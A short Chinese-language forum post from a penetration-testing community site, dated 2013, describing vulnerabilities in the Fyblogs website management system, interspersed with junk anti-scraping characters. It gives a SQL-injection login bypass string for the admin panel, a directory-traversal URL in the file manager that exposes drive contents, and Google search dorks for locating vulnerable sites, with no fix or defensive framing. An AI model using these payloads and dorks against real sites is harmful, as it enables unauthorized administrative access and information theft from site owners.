中国网络渗透测试联盟
标题:
Fyblogs网站管理系统漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:17
标题:
Fyblogs网站管理系统漏洞
后台万能密码 'or'='or'
5 ?1 K. l, t! {5 k
# Q; i* U: a3 ~" _" _! G3 U+ P* d
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
# _ I% U, B0 n+ c. A) x* b! h
admin/uploadfile.asp?currentFolder=/upfiles/../
) W7 ^. w# M- {$ E1 H, ~: Z
6 ~5 \, N* Z' d
漏洞证明：
3 t8 O4 ]' p# I8 m1 D `5 a; \; n
1 K, T. {; R) S: r
谷歌：inurl:type.asp?id=1 新闻中心
+ ]: ^' v* G! o, m5 [/ r3 w0 `
或者 ：inurl:download_ok.asp?
9 x* x% }4 c+ b; D5 p5 x9 D
4 J, t7 z4 j* T6 N0 Z! X
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2